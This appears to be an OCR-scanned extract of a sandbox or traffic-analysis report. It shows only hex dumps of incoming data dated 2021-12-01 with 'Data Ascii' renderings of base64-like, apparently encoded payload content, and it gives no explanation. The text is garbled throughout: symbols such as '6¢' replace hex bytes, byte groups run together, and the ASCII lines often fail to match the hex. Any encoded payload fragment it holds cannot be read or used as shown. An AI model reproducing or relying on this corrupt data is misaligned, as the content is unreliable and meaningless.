00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4e 00 51 00 55 00 46 00 42 00
Data Ascii: zZIBQUFLTEFNROVRWNZQZOFBQ2hFRKYXZ1RCUKVGRVFSdnF3QUFCajhXLy8vLzZNnTW0zZORIQXIiZUF
BWXFDU3BCWKFBQUFBQUFBRzhBQUFCRKFBQUFOQUFBQUFNQUFB

2021-12-01 08:14:01 UTC 26 IN Data Raw: 55 00 46 00 42 00 55 00 57 00 39 00 4f 00 64 00 30 00 46 00 42 00 51 00 32 00 35 00 4e 00 4e 00 45 00 46 00
4200 51 00 55 00 74 00 69 00 4e 00 6a 00 42 00 42 00 51 00 55 00 46 00 61 00 64 00 6b 00 39 00 33 00 51 00 55 00 46
00 44 00 62 00 54 00 67 00 79 00 51 00 56 00 46 00 42 00 52 00 30 00 56 00 52 00 59 00 31 00 4a 00 43 00 51 00 6b 00
56 00 47 00 53 00 48 00 64 00 74 00 54 00 6¢ 00 64 00 6 00 51 00 55 00 46 00 42 00 55 00 31 00 68 00 52 00 4d 00 58
00 64 00 42 00 51 00 55 00 4a 00 44 00 5a 00 7a 00 4e 00 42 00 51 00 55 00 46 00 4c 00 59 00 33 00 70 00 6e 00 51 00
55 00 46 00 42 00 63 00 48 00 5a 00 79 00 55 00 55 00 46 00 42 00 51 00 6d 00 35 00 4a 00 4c 00 30 00 46 00 6e 00 51
00 6e 00 64 00 69 00 65 00 56 00 56 00 42 00 51 00 55 00 46 00 77 00 64
Data Ascii: UFBUW90dOFBQ25NNEFBQUIIN|BBQUFadk93QUFDbTgyQVFBROVRY 1JCQKVGSHA(TIdNQUFBULhRMXd
BQUJDZzNBQUFLY3pnQUFBcHZyUUFBQMS5JLOFNQndieVVBQUFwd

2021-12-01 08:14:01 UTC 28 IN Data Raw: 00 46 00 42 00 51 00 55 00 39 00 52 00 51 00 55 00 46 00 42 00 55 00 44 00 68 00 43 00 51 00 55 00 46 00
42 00 4e 00 45 00 46 00 6e 00 51 00 55 00 46 00 42 00 64 00 30 00 46 00 42 00 51 00 55 00 46 00 76 00 51 00 55 00 46
00 42 00 52 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 6d 00 64 00 42 00 51 00 55 00 46 00 45 00 59 00 30 00
4e 00 42 00 51 00 55 00 45 00 35 00 51 00 57 00 64 00 42 00 51 00 55 00 46 00 33 00 51 00 55 00 46 00 42 00 51 00 54
00 68 00 42 00 51 00 55 00 46 00 46 00 59 00 6b 00 31 00 42 00 57 00 55 00 46 00 54 00 5a 00 30 00 56 00 42 00 51 00
55 00 46 00 52 00 51 00 55 00 46 00 43 00 52 00 6e 00 70 00 53 00 5a 00 30 00 46 00 42 00 51 00 32 00 64 00 76 00 51
0030 00 68 00 76 00 4d 00 57 00 46 00 42 00 51 00 55 00 46 00 43 00 53 00
Data Ascii: FBQUIRQUFBUDhCQUFBNEFnQUFBJOFBQUFVQUFBRUFBQUFBQMABQUFEYONBQUESQWABQU
F3QUFBQThBQUFFYk1BWUFTZ0VBQUFRQUFCRNpSZOFBQ2dvQOhvMWFBQUFCS

2021-12-01 08:14:.01 UTC 29 IN Data Raw: 6¢ 00 78 00 51 00 31 00 4e 00 76 00 51 00 55 00 46 00 46 00 52 00 6b 00 31 00 42 00 51 00 55 00 46 00 42
00 51 00 55 00 46 00 42 00 51 00 57 00 46 00 6e 00 51 00 55 00 46 00 42 00 53 00 7a 00 68 00 42 00 51 00 55 00 46 00
42 00 57 00 6b 00 46 00 52 00 51 00 55 00 46 00 42 00 64 00 30 00 46 00 42 00 51 00 55 00 46 00 76 00 51 00 55 00 46
00 42 00 52 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 54 00 31 00 46 00 42 00 51 00 55 00 46 00 42 00 56 00 55 00
4a 00 42 00 51 00 55 00 45 00 72 00 51 00 56 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 55 00 46 00 42 00 51 00 54
00 68 00 42 00 51 00 55 00 46 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 43 00 5a 00 30 00 46 00 42 00 51 00
5500 51 00 77 00 51 00 6b 00 46 00 42 00 51 00 6b 00 52 00 42 00 55 00 55
Data Ascii: IXQINVQUFFRk1BQUFBQUFBQWFNQUFBSzhBQUFBWKFRQUFBAOFBQUFVQUFBRUFBQUFBT1
FBQUFBVUJBQUErQVFBQUF3QUFBQThBQUFFQUFBQUFCZOFBQUQWQKFBQKRBUU

2021-12-01 08:14:01 UTC 30 IN Data Raw: 00 42 00 64 00 30 00 46 00 42 00 51 00 55 00 46 00 76 00 51 00 55 00 46 00 42 00 52 00 55 00 46 00 42 00
51 00 55 00 46 00 42 00 54 00 31 00 46 00 42 00 51 00 55 00 46 00 4e 00 63 00 30 00 46 00 42 00 51 00 55 00 46 00 46
00 51 00 56 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 55 00 46 00 42 00 51 00 54 00 68 00 42 00 51 00 55 00 46 00
46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 43 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 4e 00 51 00 6b 00 46
0042 00 51 00 55 00 70 00 42 00 55 00 55 00 46 00 42 00 51 00 58 00 64 00 42 00 51 00 55 00 46 00 42 00 4f 00 45 00
46 00 42 00 51 00 55 00 56 00 69 00 54 00 55 00 46 00 4e 00 51 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 56
00 6¢ 00 42 00 51 00 55 00 4a 00 47 00 4b 00 30 00 68 00 6€ 00 51 00 55 00
Data Ascii: BAOFBQUFVQUFBRUFBQUFBT1FBQUFNcOFBQUFFQVFBQUF3QUFBQThBQUFFQUFBQUFCZOF
BQUFNQKFBQUpBUUFBQXdBQUFBOEFBQUVITUFNQVFBQUFBQVIBQUJIGKOhNQU
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Direction

IN

Data

Data Raw: 5a 00 52 00 46 00 4e 00 31 00 56 00 55 00 4e 00 53 00 5a 00 33 00 70 00 50 00 57 00 45 00 78 00 49 00 51
00 57 00 64 00 43 00 64 00 30 00 4e 00 44 00 61 00 46 00 42 00 42 00 51 00 55 00 46 00 4c 00 53 00 48 00 63 00 72 00
54 00 6¢ 00 64 00 6e 00 51 00 55 00 46 00 42 00 55 00 31 00 68 00 52 00 65 00 48 00 64 00 42 00 51 00 55 00 4a 00 44
00 5a 00 7a 00 4e 00 42 00 51 00 55 00 46 00 4c 00 59 00 33 00 70 00 6e 00 51 00 55 00 46 00 42 00 62 00 32 00 39 00
50 00 55 00 55 00 46 00 42 00 51 00 32 00 64 00 7a 00 53 00 45 00 74 00 45 00 62 00 30 00 46 00 42 00 51 00 57 00 39
00 30 00 54 00 47 00 64 00 72 00 57 00 46 00 64 00 42 00 4d 00 44 00 52 00 57 00 4c 00 79 00 38 00 76 00 4c 00 33 00
64 00 72 00 57 00 6¢ 00 46 00 47 00 52 00 43 00 38 00 76 00 4c 00 7a 00 68

Data Ascii: ZRFN1VUNSZ3pPWEXIQWdCdONDaFBBQUFLSHcrTIdnQUFBU1hReHdBQUJIDZzNBQUFLY3p
nQUFBb29PUUFBQ2dzSEtEbOFBQW90TGArWFdBMDRWLY8vL3drWIFGRC8vLzh

Data Raw: 00 51 00 56 00 6¢ 00 78 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 53 00 51 00 55 00 46 00 42 00 51 00 55
00 46 00 42 00 51 00 6d 00 64 00 43 00 65 00 57 00 56 00 42 00 51 00 55 00 52 00 44 00 5a 00 30 00 46 00 42 00 51 00
56 00 4a 00 7a 00 64 00 30 00 46 00 33 00 51 00 31 00 68 00 42 00 51 00 55 00 46 00 42 00 51 00 32 00 64 00 42 00 51
00 55 00 56 00 59 00 54 00 54 00 4a 00 42 00 51 00 55 00 46 00 4¢ 00 51 00 32 00 64 00 4b 00 65 00 6¢ 00 5a 00 52 00 5
100 55 00 46 00 44 00 5a 00 33 00 52 00 36 00 56 00 6d 00 64 00 42 00 51 00 55 00 4e 00 70 00 56 00 55 00 68 00 69
00 4d 00 57 00 4e 00 42 00 51 00 55 00 46 00 77 00 64 00 6c 00 64 00 42 00 51 00 55 00 46 00 44 00 62 00 54 00 6¢ 00
61 00 51 00 55 00 46 00 42 00 53 00 30 00 5a 00 74 00 4f 00 57 00 46 00

Data Ascii: QVIXQUFBQUFSQUFBQUFBQmAdCeWVBQURDZOFBQVJzdOF3Q1hBQUFBQ2dBQUVYTTIBQUFL
Q2dKelZRQUFDZ3R6VMABQUNpYUhIMWNBQUFwdIdBQUFDbTIaQUFBS0ZtOWF

Data Raw: 57 00 57 00 39 00 5a 00 51 00 55 00 46 00 42 00 51 00 32 00 64 00 6f 00 64 00 6c 00 68 00 6e 00 51 00 55 00
46 00 44 00 61 00 57 00 68 00 4d 00 51 00 55 00 46 00 42 00 53 00 32 00 49 00 79 00 52 00 55 00 46 00 42 00 51 00 58
00 42 00 32 00 56 00 46 00 46 00 46 00 51 00 55 00 4a 00 6e 00 5a 00 48 00 5a 00 45 00 51 00 55 00 46 00 42 00 51 00
3200 70 00 77 00 55 00 79 00 38 00 76 00 4c 00 79 00 38 00 7a 00 61 00 45 00 56 00 49 00 5a 00 46 00 4a 00 5a 00 51
00 55 00 46 00 42 00 52 00 55 00 35 00 44 00 55 00 33 00 64 00 48 00 51 00 31 00 63 00 34 00 54 00 45 00 46 00 42 00
51 00 55 00 73 00 7a 00 54 00 6a 00 56 00 72 00 53 00 6e 00 51 00 31 00 61 00 45 00 4a 00 6e 00 57 00 6e 00 5a 00 54
00 51 00 55 00 56 00 42 00 51 00 6d 00 6¢ 00 6€ 00 62 00 55 00 46 00 42

Data Ascii: WW9ZQUFBQ2dodIhnQUFDaWhMQUFBS2lyRUFBQXB2VFFFQUJINZHZEQUFBQ2pwUy8vLy8z
aEVIZFJZQUFBRUSDU3dHQ1cATEFBQUSZTVrSnQ1aEInWnZTQUVBQmInbUFB

Data Raw: 00 55 00 74 00 45 00 59 00 30 00 46 00 42 00 51 00 58 00 42 00 36 00 54 00 30 00 46 00 42 00 51 00 55 00
4e 00 75 00 53 00 6¢ 00 70 00 42 00 51 00 55 00 4a 00 33 00 5a 00 6d 00 67 00 30 00 51 00 55 00 46 00 42 00 62 00 32
00 39 00 49 00 64 00 30 00 46 00 42 00 51 00 32 00 6¢ 00 6f 00 61 00 6b 00 46 00 42 00 51 00 55 00 74 00 69 00 65 00 5
600 56 0042 00 51 00 55 00 46 00 76 00 64 00 45 00 4e 00 53 00 52 00 55 00 56 00 4c 00 51 00 6b 00 46 00 42 00 51
00 55 00 46 00 5a 00 63 00 6b 00 4a 00 34 00 52 00 55 00 56 00 4c 00 51 00 54 00 68 00 42 00 51 00 55 00 46 00 5a 00
56 00 45 00 4a 00 53 00 52 00 55 00 5a 00 4c 00 51 00 31 00 6¢ 00 42 00 51 00 55 00 46 00 76 00 64 00 46 00 70 00 59
00 54 00 58 00 56 00 42 00 55 00 55 00 46 00 48 00 53 00 6¢ 00 4a 00 46 00

Data Ascii: UtEYOFBQXB6TOFBQUNuSIpBQUJ3Zmg0QUFBb291d0FBQ2loakFBQUtieVVBQUFVAENSRUVLQKFBQUF
ZckJARUVLQThBQUFZVEJSRUZLQ1IBQUFvAFpYTXVBUUFHSIJF

Data Raw: 32 00 6b 00 77 00 53 00 45 00 4a 00 6e 00 4d 00 32 00 52 00 71 00 55 00 55 00 56 00 42 00 51 00 55 00 46
00 6b 00 65 00 6e 00 4a 00 42 00 51 00 55 00 46 00 43 00 5a 00 33 00 64 00 4a 00 53 00 48 00 64 00 31 00 54 00 6¢ 00
64 00 6e 00 51 00 55 00 46 00 42 00 55 00 31 00 68 00 52 00 4e 00 30 00 46 00 42 00 51 00 55 00 4a 00 44 00 5a 00 7a
00 4e 00 42 00 51 00 55 00 46 00 4c 00 59 00 33 00 70 00 6e 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 79 00 64 00
30 00 46 00 42 00 51 00 6d 00 6¢ 00 5a 00 56 00 30 00 56 00 33 00 55 00 54 00 52 00 55 00 51 00 55 00 56 00 42 00 51
00 55 00 4a 00 52 00 56 00 45 00 4a 00 52 00 5a 00 31 00 4a 00 43 00 53 00 45 00 6¢ 00 45 00 51 00 58 00 64 00 43 00
64 00 32 00 4e 00 73 00 56 00 55 00 52 00 42 00 53 00 45 00 49 00 72 00 53

Data Ascii: 2kwSEJnM2RqUUVBQUFkenJBQUFCZ3dJSHA1TIdnQUFBU1hRNOFBQUJIDZzNBQUFLY3pnQUFBcHZydOF
BQmIZVOV3UTRUQUVBQUJRVEJRZ1JCSEIEQXdCd2NsVURBSEIrS

Data Raw: 00 31 00 46 00 52 00 56 00 46 00 52 00 53 00 57 00 49 00 32 00 63 00 30 00 46 00 42 00 51 00 56 00 6b 00
76 00 63 00 43 00 38 00 33 00 4c 00 79 00 38 00 35 00 4e 00 45 00 52 00 4b 00 64 00 44 00 52 00 42 00 51 00 6d 00 6¢
00 76 00 53 00 6b 00 74 00 6e 00 51 00 55 00 46 00 52 00 56 00 46 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00
46 00 42 00 51 00 6d 00 70 00 42 00 51 00 55 00 46 00 42 00 54 00 6b 00 46 00 46 00 51 00 55 00 46 00 4b 00 59 00 30
00 4a 00 42 00 51 00 55 00 46 00 45 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 6e 00 51 00 55 00 46 00 42 00 55 00
55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 30 00 46 00 42 00 51 00 55 00 46 00 30 00 55 00 55 00 56 00 42 00 51
0055 00 78 00 7a 00 51 00 6b 00 46 00 42 00 51 00 55 00 52 00 42 00 51 00

Data Ascii: 1IFRVFRSWI2cOFBQVkvcC83Ly85NERKIDRBQMIVSkinQUFRVFFBQUFBQUFBQMpPBQUFBTK
FFQUFKY0JBQUFEQUFBQUNNQUFBUUFBQUFBROFBQUFOUUVBQUxzQKFBQURBQ

Data Raw: 56 00 42 00 64 00 30 00 4a 00 33 00 59 00 33 00 56 00 46 00 52 00 45 00 46 00 49 00 51 00 69 00 74 00 49
00 5a 00 30 00 46 00 42 00 51 00 32 00 6¢ 00 6e 00 5a 00 6b 00 46 00 42 00 51 00 55 00 74 00 4c 00 52 00 30 00 31 00
42 0051 00 55 00 46 00 76 00 5a 00 6b 00 56 00 4a 00 4d 00 57 00 46 00 42 00 51 00 55 00 46 00 43 00 53 00 6d 00 52
00 45 00 5a 00 45 00 46 00 42 00 51 00 55 00 56 00 4c 00 52 00 47 00 4e 00 42 00 51 00 55 00 46 00 77 00 65 00 6b 00
39 00 42 00 51 00 55 00 46 00 44 00 62 00 6b 00 78 00 36 00 51 00 58 00 64 00 43 00 64 00 32 00 5a 00 6f 00 4e 00 45
00 46 00 42 00 51 00 57 00 39 00 76 00 53 00 48 00 64 00 42 00 51 00 55 00 4e 00 70 00 5a 00 7a 00 56 00 42 00 51 00
55 00 46 00 4c 00 59 00 7a 00 4a 00 52 00 51 00 55 00 46 00 42 00 62 00 30

Data Ascii: VBd0J3Y3VFREFIQIitIZOFBQ2InZkFBQUtLR01BQUFVZKVIMWFBQUFCSMREZEFBQUVLRGNBQUFwek9B
QUFDbkx6QXdCd2ZoNEFBQW9vVSHABQUNpZzVBQUFLYZJRQUFBbO

Data Raw: 00 79 00 52 00 55 00 46 00 42 00 51 00 57 00 39 00 53 00 52 00 45 00 4a 00 6a 00 56 00 55 00 74 00 44 00
57 00 55 00 46 00 42 00 51 00 56 00 6¢ 00 55 00 52 00 46 00 4a 00 6a 00 56 00 55 00 74 00 44 00 57 00 55 00 46 00 42
00 51 00 56 00 6¢ 00 55 00 52 00 47 00 68 00 46 00 54 00 6b 00 74 00 45 00 64 00 30 00 46 00 42 00 51 00 57 00 39 00
30 00 53 00 6b 00 4a 00 46 00 54 00 30 00 74 00 45 00 64 00 30 00 46 00 42 00 51 00 57 00 39 00 30 00 52 00 33 00 64
00 61 00 65 00 6¢ 00 52 00 6e 00 52 00 55 00 46 00 43 00 61 00 56 00 56 00 53 00 52 00 46 00 63 00 35 00 54 00 45 00
46 00 52 00 51 00 55 00 64 00 4b 00 55 00 6b 00 56 00 50 00 59 00 6a 00 41 00 77 00 51 00 6b 00 46 00 42 00 57 00 6e
00 5a 00 51 00 5a 00 30 00 46 00 42 00 51 00 33 00 51 00 30 00 52 00 45 00

Data Ascii: YRUFBQW9SREJ}VUtDWUFBQVIURFJjVUIDWUFBQVIURGhFTktEdOFBQW90SkJFTOtEdOFBQW90R3dae
IRNRUFCaVVSRFc5TEFRQUAKUKVPYjAWQKFBWNZQZ0OFBQ3QORE

Data Raw: 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 44 00 53 00 30 00 4a 00 56 00 51
00 55 00 46 00 42 00 57 00 6e 00 6¢ 00 7a 00 64 00 31 00 56 00 42 00 59 00 30 00 68 00 4d 00 64 00 6b 00 4a 00 52 00
51 00 6e 00 64 00 6d 00 61 00 44 00 52 00 42 00 51 00 55 00 46 00 76 00 62 00 30 00 68 00 33 00 51 00 55 00 46 00 44
00 61 00 57 00 70 00 69 00 51 00 55 00 46 00 42 00 52 00 30 00 74 00 42 00 63 00 30 00 46 00 42 00 51 00 33 00 4e 00
4500 51 00 6b 00 46 00 56 00 54 00 30 00 4a 00 42 00 4e 00 45 00 5a 00 45 00 5a 00 31 00 6¢ 00 50 00 51 00 6e 00 63
0030 00 53 00 55 00 52 00 6e 00 61 00 30 00 39 00 44 00 62 00 53 00 38 00 76 00 51 00 56 00 46 00 42 00 52 00 30 00
74 00 78 00 4e 00 45 00 4e 00 4c 00 51 00 6¢ 00 56 00 42 00 51 00 55 00 46

Data Ascii: BQUFBQUFBQUFDS0JVQUFBWnIzd1VBY0hMdkJRQndmaDRBQUFvb0h3QUFDaWpiQUFBROt
BcOFBQ3NEQKFVTOJBNEZEZ1IPQncOSURNa09DbS8VQVFBROXNENLQIVBQUF
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Direction

IN

Data

Data Raw: 00 51 00 55 00 46 00 52 00 62 00 30 00 35 00 33 00 51 00 55 00 46 00 44 00 5a 00 32 00 39 00 44 00 52 00
31 00 46 00 5a 00 56 00 30 00 68 00 33 00 64 00 32 00 39 00 69 00 64 00 30 00 46 00 42 00 51 00 32 00 64 00 4c 00 54
00 32 00 46 00 53 00 4f 00 46 00 42 00 58 00 57 00 54 00 46 00 76 00 51 00 55 00 46 00 42 00 51 00 6b 00 4e 00 33 00 5
300 57 00 5a 00 45 00 64 00 32 00 4e 00 58 00 51 00 57 00 38 00 31 00 63 00 45 00 68 00 33 00 4f 00 56 00 70 00 4c 00
52 00 7a 00 68 00 42 00 51 00 55 00 46 00 76 00 5a 00 6b 00 56 00 4a 00 4d 00 57 00 39 00 42 00 51 00 55 00 46 00 43
00 52 00 45 00 46 00 6¢ 00 54 00 32 00 46 00 52 00 61 00 55 00 39 00 68 00 56 00 6d 00 31 00 4f 00 59 00 55 00 46 00
42 00 51 00 55 00 46 00 52 00 4d 00 45 00 68 00 43 00 4e 00 44 00 56 00

Data Ascii: QUFRb053QUFDZ29DR1FZV0h3d29id0FBQ2dLT2FSOFBXWTFvQUFBQKN3SWZEd2NXQW81cEh30VpLRz
hBQUFvZkVIMW9BQUFCREFIT2FRaU9hVm10YUFBQUFRMEhCNDV

Data Raw: 55 00 55 00 6¢ 00 45 00 59 00 32 00 39 00 4e 00 53 00 55 00 46 00 49 00 51 00 57 00 39 00 4b 00 51 00 55 00
4600 42 00 51 00 6d 00 64 00 76 00 59 00 57 00 70 00 58 00 5a 00 30 00 46 00 42 00 51 00 55 00 56 00 73 00 52 00 6d
00 64 00 5a 00 59 00 57 00 74 00 61 00 64 00 32 00 78 00 47 00 64 00 31 00 6¢ 00 69 00 61 00 31 00 70 00 33 00 62 00
45 00 64 00 42 00 57 00 57 00 4e 00 72 00 57 00 6e 00 64 00 73 00 52 00 31 00 46 00 5a 00 5a 00 47 00 74 00 61 00 64
00 31 00 64 00 4c 00 53 00 45 00 31 00 42 00 51 00 55 00 46 00 76 00 63 00 55 00 46 00 42 00 51 00 56 00 52 00 4e 00
51 00 56 00 6¢ 00 42 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 43 00 55 00 55 00 46 00 42 00 51 00 6b 00 59 00 72
00 5a 00 45 00 46 00 42 00 51 00 55 00 4e 00 6e 00 62 00 30 00 4e 00 46

Data Ascii: UUIEY29NSUFIQW9KQUFBQmMdvYWpXZ0FBQUVsRmdZYWtad2xGd1lialp3bEdBWWNrWndsR1FZZGtad1l
dLSE1BQUFVCUFBQVRNQVIBUUFBQUFCUUFBQKYrZEFBQUNNbONF

Data Raw: 00 55 00 35 00 47 00 61 00 45 00 31 00 46 00 53 00 33 00 6¢ 00 56 00 53 00 6b 00 56 00 52 00 55 00 32 00 46
0046 00 64 00 31 00 6¢ 00 53 00 51 00 6d 00 6¢ 00 33 00 56 00 6b 00 56 00 52 00 57 00 56 00 64 00 43 00 64 00 32 00
64 0053 00 51 00 6d 00 38 00 31 00 63 00 45 00 74 00 49 00 5a 00 30 00 46 00 42 00 51 00 57 00 39 00 4a 00 52 00 56
00 46 00 68 00 54 00 32 00 46 00 57 00 5a 00 30 00 31 00 46 00 55 00 56 00 46 00 59 00 56 00 30 00 4a 00 4e 00 52 00
55 00 56 00 52 00 55 00 55 00 70 00 71 00 62 00 57 00 74 00 35 00 4d 00 55 00 46 00 6a 00 63 00 54 00 42 00 70 00 61
00 47 00 64 00 42 00 51 00 55 00 46 00 4c 00 53 00 48 00 64 00 35 00 54 00 6¢ 00 64 00 6e 00 51 00 55 00 46 00 42 00
55 00 31 00 68 00 52 00 4e 00 32 00 64 00 42 00 51 00 55 00 4a 00 44 00

Data Ascii: U5GaE1FS3IVSKVRU2FFd1ISQmI3VkVRWVdCd2dSQm81cEtIZOFBQW9JRVFhT2FWZ01FUVFYVOINRUV
RUUpgbWt5MUFjcTBpaGdBQUFLSHA5TIdNQUFBU1hRN2dBQUJD

Data Raw: 30 00 78 00 6f 00 54 00 55 00 68 00 47 00 4d 00 57 00 64 00 5a 00 57 00 46 00 4d 00 77 00 54 00 55 00 4a 00
7500 54 00 48 00 4a 00 44 00 51 00 55 00 4a 00 33 00 53 00 30 00 4e 00 7a 00 51 00 55 00 46 00 42 00 62 00 30 00 74
00 43 00 65 00 47 00 52 00 5a 00 51 00 33 00 64 00 6a 00 51 00 32 00 49 00 30 00 52 00 55 00 46 00 42 00 51 00 57 00
38 00 76 00 56 00 58 00 59 00 76 00 4c 00 79 00 39 00 33 00 57 00 58 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 58
00 70 00 42 00 52 00 6b 00 46 00 46 00 57 00 55 00 46 00 42 00 51 00 55 00 46 00 61 00 51 00 55 00 46 00 42 00 55 00
6d 00 4d 00 30 00 53 00 55 00 46 00 42 00 51 00 57 00 39 00 4c 00 52 00 6d 00 64 00 7a 00 63 00 6b 00 78 00 42 00 57
00 55 00 4e 00 43 00 4d 00 6a 00 68 00 75 00 51 00 55 00 46 00 42 00 53

Data Ascii: 0xoTUhRGMWdZWFMwTUJuTHIDQUJ3SONzQUFBb0tCeGRZQ3djQ2I0RUFBQWS8VVXYVLY9I3W
XFBQUFBRXpBRKFFWUFBQUFaQUFBUMMOSUFBQW9LRmdzckxBWUNCMjhuQUFBS

Data Raw: 00 46 00 72 00 51 00 57 00 4e 00 42 00 64 00 48 00 6c 00 59 00 64 00 32 00 74 00 42 00 59 00 30 00 68 00 4b
00 4e 00 30 00 4e 00 52 00 51 00 6e 00 64 00 43 00 65 00 57 00 6¢ 00 55 00 51 00 55 00 46 00 42 00 53 00 30 00 52 00
44,00 61 00 56 00 56 00 42 00 51 00 55 00 46 00 4c 00 59 00 6a 00 56 00 56 00 51 00 55 00 46 00 42 00 62 00 30 00 6¢
00 69 00 4e 00 56 00 6¢ 00 42 00 51 00 55 00 46 00 76 00 57 00 45 00 52 00 6b 00 4e 00 45 00 5a 00 4b 00 61 00 46 00
6c 00 4f 00 4d 00 32 00 64 00 42 00 53 00 6b 00 74 00 6e 00 51 00 55 00 4a 00 46 00 51 00 55 00 46 00 42 00 51 00 55
00 46 00 42 00 51 00 55 00 46 00 4b 00 61 00 56 00 6¢ 00 42 00 51 00 56 00 56 00 51 00 51 00 55 00 46 00 42 00 51 00
6b 00 64 00 36 00 51 00 55 00 4a 00 42 00 51 00 6¢ 00 56 00 42 00 51 00

Data Ascii: FrQWNBdHIYd2tBYOhKNONRQndCeWIUQUFBSORDaVVBQUFLYjVVQUFBbOIINVIBQUFVWERKNEZKaFIO
M2dBSkinQUIJFQUFBQUFBQUFKaVIBQVVQQUFBQkd6QUIBQIVBQ

Data Raw: 46 00 51 00 52 00 48 00 64 00 42 00 52 00 6b 00 52 00 33 00 51 00 55 00 46 00 42 00 55 00 6e 00 4e 00 33
0051 00 57 00 64 00 42 00 56 00 30 00 46 00 42 00 51 00 55 00 46 00 49 00 51 00 55 00 46 00 42 00 52 00 56 00 46 00
4b 00 4e 00 30 00 46 00 6e 00 51 00 55 00 46 00 43 00 51 00 55 00 35 00 32 00 52 00 57 00 64 00 46 00 51 00 55 00 4a
00 6e 00 63 00 6d 00 56 00 43 00 55 00 31 00 6¢ 00 58 00 51 00 33 00 51 00 30 00 51 00 55 00 4a 00 70 00 62 00 30 00
46 00 42 00 51 00 55 00 56 00 52 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 45 00 64 00 7a
00 68 00 42 00 51 00 6¢ 00 45 00 34 00 51 00 55 00 46 00 42 00 52 00 57 00 4a 00 4e 00 51 00 55 00 6¢ 00 42 00 52 00
6d 00 64 00 42 00 51 00 55 00 46 00 43 00 64 00 30 00 46 00 42 00 51 00 6b

Data Ascii: FQRHdBRKR3QUFBUNN3QWdBVOFBQUFIQUFBRVFKNOFNQUFCQU52RWAFQUJIncmVCU1IXQ3
QOQUJIphOFBQUVRQUFBQUFBQUFEJzhBQIE4AQUFBRWJINQUIBRMdBQUFCAOFBQk

Data Raw: 00 6¢ 00 64 00 30 00 6¢ 00 42 00 51 00 55 00 46 00 52 00 52 00 47 00 4a 00 33 00 62 00 30 00 4a 00 42 00 51
0056 00 6¢ 00 4c 00 4d 00 32 00 64 00 56 00 62 00 55 00 5a 00 6e 00 63 00 6d 00 56 00 42 00 51 00 56 00 6¢ 00 78 00
51 00 55 00 46 00 42 00 51 00 6b 00 56 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 45 00 34
00 55 00 45 00 46 00 42 00 56 00 56 00 42 00 42 00 51 00 55 00 46 00 43 00 52 00 33 00 70 00 42 00 51 00 30 00 46 00
430057 00 55 00 46 00 42 00 51 00 55 00 46 00 6a 00 51 00 55 00 46 00 42 00 55 00 6b 00 46 00 75 00 63 00 30 00 4e
0042 00 51 00 55 00 46 00 46 00 51 00 54 00 49 00 34 00 56 00 55 00 46 00 52 00 51 00 55 00 64 00 44 00 64 00 44 00
52 00 47 00 53 00 6d 00 68 00 5a 00 53 00 7a 00 4e 00 6e 00 51 00 55 00

Data Ascii: IdOIBQUFRRGJ3b0JBQVILM2dVbUZncmVBQVIXQUFBQkVBQUFBQUFBQUE4UEFBVVBBQUF
CR3pBQOFCWUFBQUFjQUFBUKFUcONBQUFFQTI4VUFRQUADADRGSMhZSzNnQU

Data Raw: 6e 00 51 00 55 00 46 00 42 00 55 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51
00 56 00 42 00 45 00 64 00 30 00 46 00 47 00 52 00 48 00 64 00 42 00 51 00 55 00 46 00 53 00 63 00 33 00 64 00 42 00
55 00 55 00 46 00 58 00 51 00 55 00 46 00 42 00 51 00 55 00 64 00 33 00 51 00 55 00 46 00 46 00 55 00 55 00 6f 00 33 0
051 0057 00 64 00 42 00 51 00 55 00 4a 00 48 00 4f 00 46 00 70 00 42 00 55 00 55 00 46 00 48 00 52 00 6e 00 64 00 79
00 5a 00 55 00 4a 00 54 00 57 00 56 00 64 00 44 00 64 00 44 00 52 00 42 00 51 00 6d 00 6¢ 00 76 00 51 00 55 00 46 00
42 00 52 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 52 00 33 00 4f 00 45 00 46
00 43 00 55 00 54 00 68 00 42 00 51 00 55 00 46 00 46 00 59 00 6b 00 31

Data Ascii: NnQUFBUKFBQUFBQUFBQVBEJOFGRHABQUFSc3dBUUFXQUFBQUAI3QUFFUU03QWdBQUJHOFp
BUUFHRNdyZUJTWVdDdDRBQmIVQUFBRVFBQUFBQUFBQUR3OEFCUThBQUFFYK1

Data Raw: 00 51 00 55 00 4a 00 6f 00 5a 00 55 00 35 00 58 00 5a 00 30 00 46 00 42 00 51 00 56 00 4e 00 56 00 56 00 30
00 67 00 7a 00 65 00 57 00 52 00 69 00 4e 00 6b 00 46 00 42 00 51 00 55 00 46 00 76 00 56 00 45 00 4a 00 34 00 57 00
56 00 52 00 44 00 51 00 33 00 4e 00 69 00 52 00 56 00 46 00 6a 00 55 00 6b 00 4e 00 4b 00 62 00 31 00 52 00 44 00 55
00 56 00 6¢ 00 53 00 51 00 31 00 63 00 34 00 64 00 6b 00 46 00 42 00 51 00 55 00 64 00 4d 00 51 00 56 00 46 00 59 00
51 00 33 00 6¢ 00 7a 00 54 00 30 00 56 00 52 00 5a 00 31 00 68 00 58 00 51 00 6b 00 31 00 4a 00 52 00 56 00 46 00 6
00 55 00 6b 00 49 00 30 00 4e 00 58 00 42 00 4e 00 64 00 44 00 42 00 6e 00 61 00 55 00 4a 00 4e 00 51 00 55 00 46 00
